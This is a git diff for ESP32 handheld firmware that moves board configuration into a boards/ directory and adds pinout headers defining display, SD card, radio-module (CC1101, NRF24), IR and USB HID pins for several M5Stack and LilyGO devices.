ports/m5stack-cplus2/platformio.ini rename to boards/m5stack-cplus2.ini index ed2673d8..53c617f5 100644 --- a/ports/m5stack-cplus2/platformio.ini +++ b/boards/m5stack-cplus2.ini @@ -9,29 +9,22 @@ ; https://docs.platformio.org/page/projectconf.html [env:m5stack-cplus2] -platform = https://github.com/bmorcelli/platform-espressif32/releases/download/0.0.4/platform-espressif32.zip -board = m5stick-c -framework = arduino +board = m5stack-cplus2 board_build.partitions = custom_8Mb.csv board_build.f_flash = 40000000L board_upload.flash_size = 8MB board_upload.maximum_size = 8388608 -build_src_filter =${env.build_src_filter} +<../ports/m5stack-cplus2> +build_src_filter =${env.build_src_filter} +<../boards/m5stack-cplus2> build_flags = ${env.build_flags} - -Iports/m5stack-cplus2 + -Iboards/m5stack-cplus2 -DCORE_DEBUG_LEVEL=5 - -DBOARD_HAS_PSRAM - -mfix-esp32-psram-cache-issue - -mfix-esp32-psram-cache-strategy=memw - - -DSTICK_C_PLUS2=1 ;Features Enabled ;-DLITE_VERSION=1 ;limits some features to save space for M5Launcher Compatibility -DMIC_SPM1423=1 ;Applicable for SPM1423 device ;FM Radio - -DFM_SI4713=1 ;Uncomment to activate FM Radio using Adafruit Si4713 + -DFM_SI4713=1 -DFM_RSTPIN=0 -DPIN_CLK=0 -DI2S_SCLK_PIN=0 @@ -72,16 +65,13 @@ build_flags = -DRF_TX_PINS='{ {"M5 RF433T", GROVE_SDA}, {"G26",26}, {"G25",25}, {"G0",0}, {"Groove W", GROVE_SCL}, {"GROVE Y", GROVE_SDA}}' -DRF_RX_PINS='{ {"M5 RF433R", GROVE_SCL}, {"G26",26}, {"G25",25}, {"G0",0}, {"Groove W", GROVE_SCL}, {"GROVE Y", GROVE_SDA}}' - ; connection pins for CC1101 https://github.com/bmorcelli/io433/blob/master/platformio.ini -DUSE_CC1101_VIA_SPI -DCC1101_GDO0_PIN=25 -DCC1101_SS_PIN=SPI_SS_PIN -DCC1101_MOSI_PIN=SPI_MOSI_PIN -DCC1101_SCK_PIN=SPI_SCK_PIN -DCC1101_MISO_PIN=SPI_MISO_PIN - ;-DCC1101_GDO2_PIN=-1 - ; connections are the same as CC1101 -DUSE_NRF24_VIA_SPI -DNRF24_CE_PIN=25 -DNRF24_SS_PIN=SPI_SS_PIN @@ -89,19 +79,14 @@ build_flags = -DNRF24_SCK_PIN=SPI_SCK_PIN -DNRF24_MISO_PIN=SPI_MISO_PIN - ;Battery ADC read pin -DBAT_PIN=38 - ;Font sizes, depending on device -DFP=1 -DFM=2 -DFG=3 - ;Screen Setup -DHAS_SCREEN=1 -DROTATION=3 - -DWIDTH=240 - -DHEIGHT=135 -DBACKLIGHT=27 -DMINBRIGHT=160 diff --git a/boards/m5stack-cplus2.json b/boards/m5stack-cplus2.json new file mode 100644 index 00000000..e81d57a0 --- /dev/null +++ b/boards/m5stack-cplus2.json @@ -0,0 +1,39 @@ +{ + "build": { + "arduino": { + "ldscript": "esp32_out.ld" + }, + "core": "esp32", + "extra_flags": [ + "-DARDUINO_M5STICK_C_PLUS2", + "-DBOARD_HAS_PSRAM", + "-mfix-esp32-psram-cache-issue", + "-mfix-esp32-psram-cache-strategy=memw" + ], + "f_cpu": "240000000L", + "f_flash": "40000000L", + "flash_mode": "dio", + "mcu": "esp32", + "variant": "pinouts" + }, + "connectivity": [ + "wifi", + "bluetooth", + "ethernet", + "can" + ], + "frameworks": [ + "arduino", + "espidf" + ], + "name": "M5Stick CPlus2", + "upload": { + "flash_size": "4MB", + "maximum_ram_size": 327680, + "maximum_size": 4194304, + "require_upload_port": true, + "speed": 1500000 + }, + "url": "http://www.m5stack.com", + "vendor": "M5Stack" +} \ No newline at end of file diff --git a/ports/m5stack-cplus2/interface.cpp b/boards/m5stack-cplus2/interface.cpp similarity index 94% rename from ports/m5stack-cplus2/interface.cpp rename to boards/m5stack-cplus2/interface.cpp index 1d168a72..6752e0ec 100644 --- a/ports/m5stack-cplus2/interface.cpp +++ b/boards/m5stack-cplus2/interface.cpp @@ -56,13 +56,12 @@ int getBattery() { ** location: settings.cpp ** set brightness value **********************************************************************/ -void _setBrightness(uint8_t brightval) { - if(brightval>100) brightval=100; - if(brightval == 0){ - analogWrite(BACKLIGHT, brightval); +void _setBrightness(uint8_t brightval) { + if(brightval == 0){ + analogWrite(TFT_BL, brightval); } else { - int bl = MINBRIGHT + round(((255 - MINBRIGHT) * brightval/100 )); - analogWrite(BACKLIGHT, bl); + int bl = MINBRIGHT + round(((255 - MINBRIGHT) * brightval /100 )); + analogWrite(TFT_BL, bl); } } @@ -219,8 +218,8 @@ String keyboard(String mytext, int maxSize, String msg) { { '/', '/' } //12 } }; - int _x = WIDTH/12; - int _y = (HEIGHT - 54)/4; + int _x = tftWidth/12; + int _y = (tftHeight - 54)/4; int _xo = _x/2-3; int i=0; @@ -238,12 +237,12 @@ String keyboard(String mytext, int maxSize, String msg) { //Draw the rectangles if(y<0) { - tft.fillRect(0,1,WIDTH,22,bruceConfig.bgColor); + tft.fillRect(0,1,tftWidth,22,bruceConfig.bgColor); tft.drawRect(7,2,46,20,TFT_WHITE); // Ok Rectangle tft.drawRect(55,2,50,20,TFT_WHITE); // CAP Rectangle tft.drawRect(107,2,50,20,TFT_WHITE); // DEL Rectangle tft.drawRect(159,2,74,20,TFT_WHITE); // SPACE Rectangle - tft.drawRect(3,32,WIDTH-3,20,bruceConfig.priColor); // mystring Rectangle + tft.drawRect(3,32,tftWidth-3,20,bruceConfig.priColor); // mystring Rectangle if(x==0 && y==-1) { tft.setTextColor(bruceConfig.bgColor, TFT_WHITE); tft.fillRect(7,2,50,20,TFT_WHITE); } @@ -273,7 +272,7 @@ String keyboard(String mytext, int maxSize, String msg) { tft.setTextSize(FM); // reseta o quadrado do texto - if (mytext.length() == 19 || mytext.length() == 20 || mytext.length() == 38 || mytext.length() == 39) tft.fillRect(3,32,WIDTH-3,20,bruceConfig.bgColor); // mystring Rectangle + if (mytext.length() == 19 || mytext.length() == 20 || mytext.length() == 38 || mytext.length() == 39) tft.fillRect(3,32,tftWidth-3,20,bruceConfig.bgColor); // mystring Rectangle // escreve o texto tft.setTextColor(TFT_WHITE); if(mytext.length()>19) { @@ -289,7 +288,7 @@ String keyboard(String mytext, int maxSize, String msg) { tft.drawString(mytext, 5, 34); } //desenha o retangulo colorido - tft.drawRect(3,32,WIDTH-3,20,bruceConfig.priColor); // mystring Rectangle + tft.drawRect(3,32,tftWidth-3,20,bruceConfig.priColor); // mystring Rectangle tft.setTextColor(TFT_WHITE, bruceConfig.bgColor); @@ -395,7 +394,7 @@ String keyboard(String mytext, int maxSize, String msg) { } //Resets screen when finished writing - tft.fillRect(0,0,WIDTH,HEIGHT,bruceConfig.bgColor); + tft.fillRect(0,0,tftWidth,tftHeight,bruceConfig.bgColor); resetTftDisplay(); return mytext; @@ -440,6 +439,6 @@ void checkReboot() { // Clear text after releasing the button delay(30); - tft.fillRect(60, 12, WIDTH - 60, tft.fontHeight(1), TFT_BLACK); + tft.fillRect(60, 12, tftWidth - 60, tft.fontHeight(1), TFT_BLACK); } } \ No newline at end of file diff --git a/boards/pinouts/CYD-2432S028.h b/boards/pinouts/CYD-2432S028.h new file mode 100644 index 00000000..a4a0cc22 --- /dev/null +++ b/boards/pinouts/CYD-2432S028.h @@ -0,0 +1,48 @@ +#ifndef Pins_Arduino_h +#define Pins_Arduino_h + +#include + +static const uint8_t TX = 1; +static const uint8_t RX = 3; + +static const uint8_t SDA = 21; +static const uint8_t SCL = 22; + +static const uint8_t SS = 5; +static const uint8_t MOSI = 23; +static const uint8_t MISO = 19; +static const uint8_t SCK = 18; + +static const uint8_t A0 = 36; +static const uint8_t A3 = 39; +static const uint8_t A4 = 32; +static const uint8_t A5 = 33; +static const uint8_t A6 = 34; +static const uint8_t A7 = 35; +static const uint8_t A10 = 4; +static const uint8_t A11 = 0; +static const uint8_t A12 = 2; +static const uint8_t A13 = 15; +static const uint8_t A14 = 13; +static const uint8_t A15 = 12; +static const uint8_t A16 = 14; +static const uint8_t A17 = 27; +static const uint8_t A18 = 25; +static const uint8_t A19 = 26; + +static const uint8_t T0 = 4; +static const uint8_t T1 = 0; +static const uint8_t T2 = 2; +static const uint8_t T3 = 15; +static const uint8_t T4 = 13; +static const uint8_t T5 = 12; +static const uint8_t T6 = 14; +static const uint8_t T7 = 27; +static const uint8_t T8 = 33; +static const uint8_t T9 = 32; + +static const uint8_t DAC1 = 25; +static const uint8_t DAC2 = 26; + +#endif /* Pins_Arduino_h */ \ No newline at end of file diff --git a/boards/pinouts/ESP-General.h b/boards/pinouts/ESP-General.h new file mode 100644 index 00000000..b0961c0d --- /dev/null +++ b/boards/pinouts/ESP-General.h @@ -0,0 +1,69 @@ +#ifndef Pins_Arduino_h +#define Pins_Arduino_h + +#include +#include "soc/soc_caps.h" + +#define USB_VID 0x303a +#define USB_PID 0x1001 + +// Some boards have too low voltage on this pin (board design bug) +// Use different pin with 3V and connect with 48 +// and change this setup for the chosen pin (for example 38) +#define PIN_RGB_LED 48 +// BUILTIN_LED can be used in new Arduino API digitalWrite() like in Blink.ino +static const uint8_t LED_BUILTIN = SOC_GPIO_PIN_COUNT + PIN_RGB_LED; +#define BUILTIN_LED LED_BUILTIN // backward compatibility +#define LED_BUILTIN LED_BUILTIN // allow testing #ifdef LED_BUILTIN +// RGB_BUILTIN and RGB_BRIGHTNESS can be used in new Arduino API rgbLedWrite() +#define RGB_BUILTIN LED_BUILTIN +#define RGB_BRIGHTNESS 64 + +static const uint8_t TX = 43; +static const uint8_t RX = 44; + +static const uint8_t SDA = 8; +static const uint8_t SCL = 9; + +static const uint8_t SS = 10; +static const uint8_t MOSI = 11; +static const uint8_t MISO = 13; +static const uint8_t SCK = 12; + +static const uint8_t A0 = 1; +static const uint8_t A1 = 2; +static const uint8_t A2 = 3; +static const uint8_t A3 = 4; +static const uint8_t A4 = 5; +static const uint8_t A5 = 6; +static const uint8_t A6 = 7; +static const uint8_t A7 = 8; +static const uint8_t A8 = 9; +static const uint8_t A9 = 10; +static const uint8_t A10 = 11; +static const uint8_t A11 = 12; +static const uint8_t A12 = 13; +static const uint8_t A13 = 14; +static const uint8_t A14 = 15; +static const uint8_t A15 = 16; +static const uint8_t A16 = 17; +static const uint8_t A17 = 18; +static const uint8_t A18 = 19; +static const uint8_t A19 = 20; + +static const uint8_t T1 = 1; +static const uint8_t T2 = 2; +static const uint8_t T3 = 3; +static const uint8_t T4 = 4; +static const uint8_t T5 = 5; +static const uint8_t T6 = 6; +static const uint8_t T7 = 7; +static const uint8_t T8 = 8; +static const uint8_t T9 = 9; +static const uint8_t T10 = 10; +static const uint8_t T11 = 11; +static const uint8_t T12 = 12; +static const uint8_t T13 = 13; +static const uint8_t T14 = 14; + +#endif /* Pins_Arduino_h */ \ No newline at end of file diff --git a/boards/pinouts/_New-Device-Model.h b/boards/pinouts/_New-Device-Model.h new file mode 100644 index 00000000..b732b5c3 --- /dev/null +++ b/boards/pinouts/_New-Device-Model.h @@ -0,0 +1,133 @@ +#ifndef Pins_Arduino_h +#define Pins_Arduino_h + +#include +#include "soc/soc_caps.h" + +#define USB_VID 0x303a +#define USB_PID 0x1001 + +static const uint8_t TX = 43; +static const uint8_t RX = 44; + +static const uint8_t TXD2 = 1; +static const uint8_t RXD2 = 2; + +static const uint8_t SDA = 13; +static const uint8_t SCL = 15; + +// Modified elsewhere +static const uint8_t SS = -1; +static const uint8_t MOSI = -1; +static const uint8_t MISO = -1; +static const uint8_t SCK = -1; + +static const uint8_t G0 = 0; +static const uint8_t G1 = 1; +static const uint8_t G2 = 2; +static const uint8_t G3 = 3; +static const uint8_t G4 = 4; +static const uint8_t G5 = 5; +static const uint8_t G6 = 6; +static const uint8_t G7 = 7; +static const uint8_t G8 = 8; +static const uint8_t G9 = 9; +static const uint8_t G10 = 10; +static const uint8_t G11 = 11; +static const uint8_t G12 = 12; +static const uint8_t G13 = 13; +static const uint8_t G14 = 14; +static const uint8_t G15 = 15; +static const uint8_t G39 = 39; +static const uint8_t G40 = 40; +static const uint8_t G41 = 41; +static const uint8_t G42 = 42; +static const uint8_t G43 = 43; +static const uint8_t G44 = 44; +static const uint8_t G46 = 46; + +static const uint8_t ADC1 = 7; +static const uint8_t ADC2 = 8; + +#define FM_RSTPIN 40 +#define PIN_CLK 43 +#define I2S_SCLK_PIN 43 +#define I2S_DATA_PIN 46 +#define PIN_DATA 46 + +#define RGB_LED 21 + +#define BCLK 41 +#define WCLK 43 +#define DOUT 42 + +#define BAD_TX GROVE_SDA +#define BAD_RX GROVE_SCL + +#define HAS_BTN 0 +#define BTN_ALIAS '"Ok"' +#define BTN_PIN 0 +#define BTN_ACT LOw + +#define IR_TX_PINS '{{"M5 IR Mod", GROVE_SDA}, {"Pin 1", 1}, {"Pin 2", 2}}' +#define IR_RX_PINS '{{"M5 IR Mod", GROVE_SCL}, {"Pin 1", 1}, {"Pin 2", 2}}' +#define LED -1 +#define LED_ON HIGH +#define LED_OFF LOW + +#define RF_TX_PINS '{{"M5 RF433T", GROVE_SDA}, {"Pin 1", 1}, {"Pin 2", 2}}' +#define RF_RX_PINS '{{"M5 FR433R", GROVE_SCL}, {"Pin 1", 1}, {"Pin 2", 2}}' + +#define CC1101_GDO0_PIN 9 +#define CC1101_SS_PIN 10 +#define CC1101_MOSI_PIN SPI_MOSI_PIN +#define CC1101_SCK_PIN SPI_SCK_PIN +#define CC1101_MISO_PIN SPI_MISO_PIN + +#define NRF24_CE_PIN 6 +#define NRF24_SS_PIN 7 +#define NRF24_MOSI_PIN SPI_MOSI_PIN +#define NRF24_SCK_PIN SPI_SCK_PIN +#define NRF24_MISO_PIN SPI_MISO_PIN + +#define FP 1 +#define FM 2 +#define FG 3 + +#define HAS_SCREEN 1 +#define ROTATION 1 +#define MINBRIGHT 160 + +#define USER_SETUP_LOADED 1 +#define USE_HSPI_PORT 1 +#define ST7789_2_DRIVER 1 +#define TFT_RGB_ORDER 1 +#define TFT_WIDTH 135 +#define TFT_HEIGHT 240 +#define TFT_BACKLIGHT_ON 1 +#define TFT_BL 38 +#define TFT_RST 33 +#define TFT_DC 34 +#define TFT_MOSI 35 +#define TFT_SCLK 36 +#define TFT_CS 37 +#define TOUCH_CS -1 +#define SMOOTH_FONT 1 +#define SPI_FREQUENCY 20000000 +#define SPI_READ_FREQUENCY 20000000 +#define SPI_TOUCH_FREQUENCY 2500000 + +#define SDCARD_CS 12 +#define SDCARD_SCK 40 +#define SDCARD_MISO 39 +#define SDCARD_MOSI 14 + +#define GROVE_SDA 2 +#define GROVE_SCL 1 + +#define SPI_SCK_PIN 12 +#define SPI_MOSI_PIN 11 +#define SPI_MISO_PIN 13 +#define SPI_SS_PIN 10 + +#endif /* Pins_Arduino_h */ \ No newline at end of file diff --git a/boards/pinouts/lilygo-t-deck.h b/boards/pinouts/lilygo-t-deck.h new file mode 100644 index 00000000..c08abae3 --- /dev/null +++ b/boards/pinouts/lilygo-t-deck.h @@ -0,0 +1,73 @@ +#ifndef Pins_Arduino_h +#define Pins_Arduino_h + +#include +#include "soc/soc_caps.h" + +#define USB_VID 0x303a +#define USB_PID 0x1001 + +// Some boards have too low voltage on this pin (board design bug) +// Use different pin with 3V and connect with 48 +// and change this setup for the chosen pin (for example 38) +#define PIN_NEOPIXEL 48 +// BUILTIN_LED can be used in new Arduino API digitalWrite() like in Blink.ino +static const uint8_t LED_BUILTIN = SOC_GPIO_PIN_COUNT+PIN_NEOPIXEL; +#define BUILTIN_LED LED_BUILTIN // backward compatibility +#define LED_BUILTIN LED_BUILTIN // allow testing #ifdef LED_BUILTIN +// RGB_BUILTIN and RGB_BRIGHTNESS can be used in new Arduino API neopixelWrite() +#define RGB_BUILTIN LED_BUILTIN +#define RGB_BRIGHTNESS 64 + +#define HAS_KEYBOARD //has keyboard to use +#define HAS_KEYBOARD_HID //has keyboard to use +#define KB_HID_EXIT_MSG "Mid Btn + Space to exit" + +static const uint8_t TX = 43; +static const uint8_t RX = 44; + +static const uint8_t SDA = 8; +static const uint8_t SCL = 9; + +static const uint8_t SS = 10; +static const uint8_t MOSI = 11; +static const uint8_t MISO = 13; +static const uint8_t SCK = 12; + +static const uint8_t A0 = 1; +static const uint8_t A1 = 2; +static const uint8_t A2 = 3; +static const uint8_t A3 = 4; +static const uint8_t A4 = 5; +static const uint8_t A5 = 6; +static const uint8_t A6 = 7; +static const uint8_t A7 = 8; +static const uint8_t A8 = 9; +static const uint8_t A9 = 10; +static const uint8_t A10 = 11; +static const uint8_t A11 = 12; +static const uint8_t A12 = 13; +static const uint8_t A13 = 14; +static const uint8_t A14 = 15; +static const uint8_t A15 = 16; +static const uint8_t A16 = 17; +static const uint8_t A17 = 18; +static const uint8_t A18 = 19; +static const uint8_t A19 = 20; + +static const uint8_t T1 = 1; +static const uint8_t T2 = 2; +static const uint8_t T3 = 3; +static const uint8_t T4 = 4; +static const uint8_t T5 = 5; +static const uint8_t T6 = 6; +static const uint8_t T7 = 7; +static const uint8_t T8 = 8; +static const uint8_t T9 = 9; +static const uint8_t T10 = 10; +static const uint8_t T11 = 11; +static const uint8_t T12 = 12; +static const uint8_t T13 = 13; +static const uint8_t T14 = 14; + +#endif /* Pins_Arduino_h */ diff --git a/boards/pinouts/lilygo-t-embed-cc1101.h b/boards/pinouts/lilygo-t-embed-cc1101.h new file mode 100644 index 00000000..3c690f69 --- /dev/null +++ b/boards/pinouts/lilygo-t-embed-cc1101.h @@ -0,0 +1,147 @@ +#ifndef Pins_Arduino_h +#define Pins_Arduino_h +#define T_EMBED + +#include +#include "soc/soc_caps.h" + +// Lite Version +// #define LITE_VERSION 1 + +// Main I2C Bus +#define SPI_SS_PIN 8 +#define SPI_MOSI_PIN 9 +#define SPI_MISO_PIN 10 +#define SPI_SCK_PIN 11 +static const uint8_t SS = SPI_SS_PIN; +static const uint8_t MOSI = SPI_MOSI_PIN; +static const uint8_t SCK = SPI_MISO_PIN; +static const uint8_t MISO = SPI_SCK_PIN; + +// Set Main I2C Bus +#define GROVE_SDA 8 +#define GROVE_SCL 18 +static const uint8_t SDA = GROVE_SDA; +static const uint8_t SCL = GROVE_SCL; + + +// TFT_eSPI display +#define ST7789_DRIVER 1 +#define USER_SETUP_LOADED +#define USE_HSPI_PORT +#define SMOOTH_FONT 1 +#define TFT_INVERSION_ON +#define TFT_WIDTH 170 +#define TFT_HEIGHT 320 +#define TFT_BL 21 +#define TFT_MISO SPI_MISO_PIN +#define TFT_MOSI SPI_MOSI_PIN +#define TFT_SCLK SPI_SCK_PIN +#define TFT_CS 41 +#define TFT_DC 16 +#define TFT_RST 40 +#define SPI_FREQUENCY 80000000 +#define SPI_READ_FREQUENCY 20000000 + +// Display Setup +#define HAS_SCREEN +#define ROTATION 3 +#define MINBRIGHT (uint8_t) 1 +#define PIN_POWER_ON 15 + +// Font Sizes +#define FP 1 +#define FM 2 +#define FG 3 + +// SD Card +#define SDCARD_CS 13 +#define SDCARD_MISO SPI_MISO_PIN +#define SDCARD_MOSI SPI_MOSI_PIN +#define SDCARD_SCK SPI_SCK_PIN + +// NRF24 - Over QWIIC Port #2 +#define USE_NRF24_VIA_SPI +#define NRF24_CE_PIN 43 +#define NRF24_SS_PIN 44 +#define NRF24_MOSI_PIN SDCARD_MOSI +#define NRF24_SCK_PIN SDCARD_SCK +#define NRF24_MISO_PIN SDCARD_MISO + +// CC1101 +#define USE_CC1101_VIA_SPI +#define CC1101_GDO0_PIN 3 +#define CC1101_GDO2_PIN 38 +#define CC1101_SW1_PIN 47 +#define CC1101_SW0_PIN 48 +#define CC1101_SS_PIN 12 +#define CC1101_MISO_PIN SPI_MISO_PIN +#define CC1101_MOSI_PIN SPI_MOSI_PIN +#define CC1101_SCK_PIN SPI_SCK_PIN + +//PN532 +#define PN532_RF_REST 45 +#define PN532_IRQ 17 + +// Mic +#define PIN_CLK 39 +#define PIN_DATA 42 + +// Speaker +#define HAS_NS4168_SPKR +#define BCLK 46 +#define WCLK 40 +#define DOUT 7 +#define MCLK PIN_CLK + +// Serial +#define SERIAL_TX 43 +#define SERIAL_RX 44 +static const uint8_t TX = SERIAL_TX; +static const uint8_t RX = SERIAL_RX; +#define TX1 TX +#define RX1 RX + +// Fuel Gauge +#define USE_BQ27220_VIA_I2C +#define BQ27220_I2C_ADDRESS 0x55 +#define BQ27220_I2C_SDA GROVE_SDA +#define BQ27220_I2C_SCL GROVE_SCL + +// Encoder +#define ENCODER_INA 4 +#define ENCODER_INB 5 +#define ENCODER_KEY 0 +#define HAS_BTN 1 +#define BTN_ALIAS '"Mid"' +#define SEL_BTN ENCODER_KEY +#define UP_BTN -1 +#define DW_BTN -1 +#define BK_BTN 6 +#define BTN_ACT LOW + +// IR +#define LED 2 +#define RXLED 1 +#define LED_ON HIGH +#define LED_OFF LOW + +#define RFID125_RX_PIN 44 +#define RFID125_TX_PIN 43 +// FM +// #define FM_SI4713 +// #define FM_RSTPIN 40 + +// RTC +// #define HAS_RTC + +// RGB LED +// #define HAS_RGB_LED +// #define RGB_LED=21 + +// BadUSB +#define USB_as_HID 1 +// #define BAD_TX=GROVE_SDA +//#define BAD_RX=GROVE_SCL + +#endif /* Pins_Arduino_h */ diff --git a/boards/pinouts/lilygo-t-embed.h b/boards/pinouts/lilygo-t-embed.h new file mode 100644 index 00000000..d7aca8c2 --- /dev/null +++ b/boards/pinouts/lilygo-t-embed.h @@ -0,0 +1,132 @@ +#ifndef Pins_Arduino_h +#define Pins_Arduino_h + +#include +#include "soc/soc_caps.h" + +// Lite Version +// #define LITE_VERSION 1 + +// Main I2C Bus +#define SPI_SS_PIN 17 +#define SPI_MOSI_PIN 41 +#define SPI_MISO_PIN 40 +#define SPI_SCK_PIN 38 +static const uint8_t SS = SPI_SS_PIN; +static const uint8_t MOSI = SPI_MOSI_PIN; +static const uint8_t SCK = SPI_MISO_PIN; +static const uint8_t MISO = SPI_SCK_PIN; + +// Set Main I2C Bus +#define GROVE_SDA 44 +#define GROVE_SCL 43 +static const uint8_t SDA = GROVE_SDA; +static const uint8_t SCL = GROVE_SCL; + +// TFT_eSPI display +#define ST7789_DRIVER 1 +#define USER_SETUP_LOADED +#define USE_HSPI_PORT +#define SMOOTH_FONT 1 +#define TFT_WIDTH 170 +#define TFT_HEIGHT 320 +#define TFT_BL 15 +#define TFT_MISO -1 +#define TFT_MOSI 11 +#define TFT_SCLK 12 +#define TFT_CS 10 +#define TFT_DC 13 +#define TFT_RST 9 +#define TOUCH_CS -1 +#define SPI_FREQUENCY 40000000 +#define SPI_READ_FREQUENCY 20000000 +#define SPI_TOUCH_FREQUENCY 2500000 + +// Display Setup# +#define HAS_SCREEN +#define ROTATION 3 +#define MINBRIGHT (uint8_t) 1 +#define PIN_POWER_ON 46 + +// Font Sizes# +#define FP 1 +#define FM 2 +#define FG 3 + +// SD Card# +#define SDCARD_CS 39 +#define SDCARD_MISO SPI_MISO_PIN +#define SDCARD_MOSI SPI_MOSI_PIN +#define SDCARD_SCK SPI_SCK_PIN + +// NRF24 - Over QWIIC Port # +#define USE_NRF24_VIA_SPI +#define NRF24_CE_PIN 44 +#define NRF24_SS_PIN 43 +#define NRF24_MOSI_PIN SDCARD_MOSI +#define NRF24_SCK_PIN SDCARD_SCK +#define NRF24_MISO_PIN SDCARD_MISO + +// CC1101# +#define USE_CC1101_VIA_SPI +#define CC1101_GDO0_PIN 44 +#define CC1101_SS_PIN 43 +#define CC1101_MISO_PIN SPI_MISO_PIN +#define CC1101_MOSI_PIN SPI_MOSI_PIN +#define CC1101_SCK_PIN SPI_SCK_PIN + +// Mic# +#define MIC_SPM1423 +#define PIN_CLK 21 +#define PIN_DATA 14 + +// Speaker# +#define HAS_NS4168_SPKR +#define BCLK 7 +#define WCLK 5 +#define DOUT 6 +#define MCLK 39 + +// Serial +#define SERIAL_TX 43 +#define SERIAL_RX 44 + +#define BAT_PIN 4 + + +// Encoder +#define ENCODER_INA 2 +#define ENCODER_INB 1 +#define ENCODER_KEY 0 +#define HAS_BTN 1 +#define BTN_ALIAS '"Mid"' +#define SEL_BTN ENCODER_KEY +#define UP_BTN 1 +#define DW_BTN 1 +#define BTN_ACT LOW + +// IR +#define LED 44 +#define RXLED 43 +#define LED_ON HIGH +#define LED_OFF LOW + +// RF Module + +// FM +// #define FM_SI4713 +// #define FM_RSTPIN 40 + +// RTC +// #define HAS_RTC + +// RGB LED +// #define HAS_RGB_LED +// #define RGB_LED=21 + +// BadUSB +#define USB_as_HID=1 +// #define BAD_TX=GROVE_SDA +//#define BAD_RX=GROVE_SCL + +#endif /* Pins_Arduino_h */ diff --git a/boards/pinouts/m5stack-cardputer.h b/boards/pinouts/m5stack-cardputer.h new file mode 100644 index 00000000..e28a11e8 --- /dev/null +++ b/boards/pinouts/m5stack-cardputer.h @@ -0,0 +1,194 @@ +#ifndef Pins_Arduino_h +#define Pins_Arduino_h + +#include +#include "soc/soc_caps.h" + +#define USB_VID 0x303a +#define USB_PID 0x1001 + +static const uint8_t TX = 43; +static const uint8_t RX = 44; + +static const uint8_t TXD2 = 1; +static const uint8_t RXD2 = 2; + +static const uint8_t SDA = 13; +static const uint8_t SCL = 15; + +static const uint8_t SS = 12; +static const uint8_t MOSI = 14; +static const uint8_t MISO = 39; +static const uint8_t SCK = 40; + +static const uint8_t G0 = 0; +static const uint8_t G1 = 1; +static const uint8_t G2 = 2; +static const uint8_t G3 = 3; +static const uint8_t G4 = 4; +static const uint8_t G5 = 5; +static const uint8_t G6 = 6; +static const uint8_t G7 = 7; +static const uint8_t G8 = 8; +static const uint8_t G9 = 9; +static const uint8_t G10 = 10; +static const uint8_t G11 = 11; +static const uint8_t G12 = 12; +static const uint8_t G13 = 13; +static const uint8_t G14 = 14; +static const uint8_t G15 = 15; +static const uint8_t G39 = 39; +static const uint8_t G40 = 40; +static const uint8_t G41 = 41; +static const uint8_t G42 = 42; +static const uint8_t G43 = 43; +static const uint8_t G44 = 44; +static const uint8_t G46 = 46; + +static const uint8_t ADC1 = 7; +static const uint8_t ADC2 = 8; + +#define SHIFT 0x80 +#define KEY_LEFT_CTRL 0x80 +#define KEY_LEFT_SHIFT 0x81 +#define KEY_LEFT_ALT 0x82 +#define KEY_FN 0xff +#define KEY_OPT 0x00 +#define KEY_BACKSPACE 0x2a +#define KEY_TAB 0x2b +#define KEY_ENTER 0x28 + +static const uint8_t _kb_asciimap[128] = { + 0x00, // NUL + 0x00, // SOH + 0x00, // STX + 0x00, // ETX + 0x00, // EOT + 0x00, // ENQ + 0x00, // ACK + 0x00, // BEL + KEY_BACKSPACE, // BS Backspace + KEY_TAB, // TAB Tab + KEY_ENTER, // LF Enter + 0x00, // VT + 0x00, // FF + 0x00, // CR + 0x00, // SO + 0x00, // SI + 0x00, // DEL + 0x00, // DC1 + 0x00, // DC2 + 0x00, // DC3 + 0x00, // DC4 + 0x00, // NAK + 0x00, // SYN + 0x00, // ETB + 0x00, // CAN + 0x00, // EM + 0x00, // SUB + 0x00, // ESC + 0x00, // FS + 0x00, // GS + 0x00, // RS + 0x00, // US + + 0x2c, // ' ' + 0x1e | SHIFT, // ! + 0x34 | SHIFT, // " + 0x20 | SHIFT, // # + 0x21 | SHIFT, // $ + 0x22 | SHIFT, // % + 0x24 | SHIFT, // & + 0x34, // ' + 0x26 | SHIFT, // ( + 0x27 | SHIFT, // ) + 0x25 | SHIFT, // * + 0x2e | SHIFT, // + + 0x36, // , + 0x2d, // - + 0x37, // . + 0x38, // / + 0x27, // 0 + 0x1e, // 1 + 0x1f, // 2 + 0x20, // 3 + 0x21, // 4 + 0x22, // 5 + 0x23, // 6 + 0x24, // 7 + 0x25, // 8 + 0x26, // 9 + 0x33 | SHIFT, // : + 0x33, // ; + 0x36 | SHIFT, // < + 0x2e, // = + 0x37 | SHIFT, // > + 0x38 | SHIFT, // ? + 0x1f | SHIFT, // @ + 0x04 | SHIFT, // A + 0x05 | SHIFT, // B + 0x06 | SHIFT, // C + 0x07 | SHIFT, // D + 0x08 | SHIFT, // E + 0x09 | SHIFT, // F + 0x0a | SHIFT, // G + 0x0b | SHIFT, // H + 0x0c | SHIFT, // I + 0x0d | SHIFT, // J + 0x0e | SHIFT, // K + 0x0f | SHIFT, // L + 0x10 | SHIFT, // M + 0x11 | SHIFT, // N + 0x12 | SHIFT, // O + 0x13 | SHIFT, // P + 0x14 | SHIFT, // Q + 0x15 | SHIFT, // R + 0x16 | SHIFT, // S + 0x17 | SHIFT, // T + 0x18 | SHIFT, // U + 0x19 | SHIFT, // V + 0x1a | SHIFT, // W + 0x1b | SHIFT, // X + 0x1c | SHIFT, // Y + 0x1d | SHIFT, // Z + 0x2f, // [ + 0x31, // bslash + 0x30, // ] + 0x23 | SHIFT, // ^ + 0x2d | SHIFT, // _ + 0x35, // ` + 0x04, // a + 0x05, // b + 0x06, // c + 0x07, // d + 0x08, // e + 0x09, // f + 0x0a, // g + 0x0b, // h + 0x0c, // i + 0x0d, // j + 0x0e, // k + 0x0f, // l + 0x10, // m + 0x11, // n + 0x12, // o + 0x13, // p + 0x14, // q + 0x15, // r + 0x16, // s + 0x17, // t + 0x18, // u + 0x19, // v + 0x1a, // w + 0x1b, // x + 0x1c, // y + 0x1d, // z + 0x2f | SHIFT, // { + 0x31 | SHIFT, // | + 0x30 | SHIFT, // } + 0x35 | SHIFT, // ~ + 0 // DEL +}; + + +#endif /* Pins_Arduino_h */ \ No newline at end of file diff --git a/boards/pinouts/m5stack-core.h b/boards/pinouts/m5stack-core.h new file mode 100644 index 00000000..294ba3a0 --- /dev/null +++ b/boards/pinouts/m5stack-core.h @@ -0,0 +1,51 @@ +#ifndef Pins_Arduino_h +#define Pins_Arduino_h + +#include + +#define HAS_KEYBOARD //has keyboard to 